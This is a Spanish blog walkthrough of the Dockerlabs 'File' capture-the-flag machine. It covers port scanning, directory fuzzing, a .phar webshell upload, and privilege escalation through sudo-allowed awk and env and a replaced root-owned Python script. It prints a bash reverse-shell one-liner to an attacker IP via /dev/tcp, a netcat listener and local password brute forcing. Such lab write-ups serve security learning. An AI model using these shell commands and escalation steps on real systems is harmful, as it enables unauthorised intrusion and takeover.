File , Dockerlabs
En este reto de Dockerlabs nos encontraremos con las siguientes pruebas a superar:
- Escaneo de puertos
- Fuzzing de directorios y archivos
- Reverse shell
- Transferencia de archivos mediante python
- Fuerza bruta local
- Escalada de privilegios
Herramientas y recursos empleados
- nmap
- feroxbuster
- Script sudo brute (revisenn el github de el pinguino de mario)
- escalada de privilegios
Reconocimiento y enumeracion
Para comenzar y como de costumbre lanzamos un nmap contra el objetivo , como hace un tiempito que no toco nada de pentest uso el siguiente comando asi vamos volviendo a recordar que hace cada comando.
1
sudo -A 172.17.0.2
- A: le estamos indicando que haga un escaneo bastante completo y sin muchas complicaciones ni finuras , lo que hace es detecion de versiones , lanza scripts nse para comprobar vulnerabilidades y si no recuerdo mal realiza una especie de traceroute que en este caso no sirve de nada (con el traceroute lo que hacemos es ver cuantos saltos hay hasta la maquina objetivo)
Observamos la salida y podemos comprobar que tenemos el puerto 21 ftp con login anonimo y un fichero de solo lectura llamado anon.txt y tambien nos encuentra el puerto 80 http.
Primero me voy a ver el fichero del ftp.
1
2
ftp 172.17.0.2
get anon.txt
Con el fichero en local ya podemos visualizar su contenido parece un hash md5 , nos trasladamos con la cadena a cualquier pagina web para desencriptarlo y nos da lo que podria ser un nombre de usuario justin. Solo nos queda revisar la web. Vamos a ello. Aparentemente es la web por default de apache pero seguro algo mas esconde , hora del fuzzing.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,sql -u http://172.17.0.2
Nada mas lanzarlo nos encuentra el directorio uploads y un fichero interesante llamado file_upload.php esperemos que este algo sanitizado asi que vamos a ver el fichero y si hay algun contenido en el directorio uploads.
Infiltracion
Como esto ya nos lo hemos encontrado mas de una vez directamente subo un fichero con extension phar (phar es como un tipo de compresion para unir varios php en un solo archivo de manera que sea mas sencillo distribuir una aplicion en php) si no es correcto me escriben.
El fichero en custion es una webshell , tambien podria haber subido para realizar la ejecucion desde la url.
Nos ponemos con netcat a la escucha
1
nc -lnvp 1188
Y nos vamos al fichero que acabamos de subir y ejecutamos una revshell directamente.
1
bash -c 'exec bash -i &>/dev/tcp/192.168.0.112/1188 <&1'
Una vez dentro realizamos el tramiento de la tty
1
2
3
4
5
6
7
8
9
script /dev/null -c bash
CTRL+Z
stty raw echo;fg
reset xterm
export SHELL=bash
export TERM=xterm
Ajustamos tamano de nuestra terminal
stty size (asi sabemos las columnas y filas)
stty rows 33 columns 133 (en mi caso )
Escalada de privilegios
Una vez dentro seremos el user www-data y nos encontramos con cuatro usuarios. A simple vista parece que no hay nada que nos permita escalar privilegios , así que solo queda la fuerza bruta.
Para ello usaremos el script de mario y el diccionario rockyou. (como mi compu es viejita modifico el tiempo de cada intento haciendo que valla algo mas lento, si lo hago a la velocidad que esta no me pilla la password)
Vamos a transferirnos los ficheros para ello nos desplazamos al directorio tmp y hacemos uso de python para crear el server http en local y wget para pillar los dos archivos.
Empiezo contra el usuario mario que tanto podría ser el punto de entrada como el que nos permite escalar a root , ahora es prueba y error. Acerte de suerte el usuario con la pass floja es mario.
Una vez dentro haciendo un sudo -l vemos que nos ha dejado el binario awk con permiso de julen.
Una vez somos julen vemos que nos ha dejado otro binario env y de ese modo nos convertiremos en iker
1
2
sudo -l
sudo -u iker env /bin/bash
En el directorio de iker encontramos un script de python revisamos el contenido
Me parece una cosa un tanto extraña porque el fichero es de root y solo tenemos permisos de lectura , no obstante se nos permite eliminarlo.
La solución fue eliminarlo y crear otro con el mismo nombre para posteriormente ejecutarlo con sudo para hacernos root
P.D:Disculpen el lio al realizar el tratamiento de la tty no consegui que no saliesen las letras dobles.
Comments powered by Disqus.